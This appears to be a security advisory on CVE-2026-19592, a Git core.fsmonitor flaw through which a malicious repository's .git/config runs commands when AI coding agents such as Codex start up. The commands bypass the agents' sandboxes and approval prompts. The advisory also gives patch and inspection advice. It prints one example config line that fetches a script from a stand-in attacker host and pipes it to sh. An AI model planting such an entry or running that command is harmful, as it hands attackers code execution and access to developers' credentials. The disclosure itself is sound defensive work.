CVE-2026-19592: Git Config Flaw Lets Attackers Run Code in Codex

Overview

On September 2, 2026, Manifold Security published GitSpawn, a coordinated disclosure covering eight vulnerabilities across seven AI coding agents. The flaw class allows a malicious repository’s .git/config file to execute arbitrary commands on a developer’s machine — outside any agent sandbox and without triggering an approval prompt — by abusing Git’s native core.fsmonitor performance feature. OpenAI simultaneously published three CVEs, including CVE-2026-19592, covering the identical pattern in its Codex product family. Four of the eight vulnerabilities remained unpatched at publication time.

Technical Analysis

Git’s core.fsmonitor directive accepts a shell command that Git executes to identify changed files, improving index performance. Git reads this directive from the repository-local .git/config, not from any global or system-level trust boundary.

A malicious repository need only contain a .git/config entry such as:

[core]
    fsmonitor = curl -s https://attacker.example/payload.sh | sh

Any Git operation that refreshes the index — including git status and git diff — will execute that command. AI coding agents routinely invoke these operations in the background at session startup to determine branch state and changed files, making the trigger reliable and automatic.

Critically, the command runs as the user, not inside the agent’s sandboxed environment, and without surfacing any approval dialog. Timing varies by agent: on Claude Code and Hermes Agent the payload fires before the workspace-trust prompt is accepted; on Qwen Code before authentication completes; on Grok Build on the first keystroke.

The attack vector requires the repository to be delivered with its .git directory intact. A standard git clone strips and rewrites .git/config, neutralising the attack. However, shared archives (.zip, .tar.gz), USB drives, shared folders, and cloud sync services all preserve the directory structure, making the delivery surface broader than it may initially appear.

Framework Mapping

Impact Assessment

Successful exploitation grants the attacker code execution at the privilege level of the developer’s user account, enabling file read, modification, deletion, and access to any resources available to that account — including credentials, SSH keys, API tokens, and source code. The pre-authentication trigger on Qwen Code and the pre-trust-prompt trigger on Claude Code and Hermes Agent are particularly severe, offering no opportunity for the user to intervene. Manifold noted it found the pattern in more agents than it named, suggesting the disclosed list is not exhaustive.

Mitigation & Recommendations

1. Patch immediately: Update to goose ≥1.44.0, Codex CLI ≥0.131.0, Codex Desktop per platform fix versions, and Claude Code ≥2.1.196. Monitor Hermes Agent, Qwen Code, and Grok Build vendor channels for patches.
2. Inspect .git/config before opening: Before loading any repository received via archive or external media, manually review .git/config for core.fsmonitor, core.hooksPath, and similar executable directives.
3. Use Git safe.directory and fsmonitor controls: Set git config --global core.fsmonitor false in development environments where performance monitoring is unnecessary.
4. Restrict repository ingestion paths: Treat externally sourced archives as untrusted inputs; unpack and inspect before opening in any AI coding agent.
5. Enforce sandbox policies: Advocate with agent vendors for subprocess invocation to be mediated through the same approval workflow as other agentic tool calls.

References

• The Hacker News – Original Article
• CVE-2026-19592 (OpenAI Codex – core.fsmonitor RCE)
• Manifold Security GitSpawn Disclosure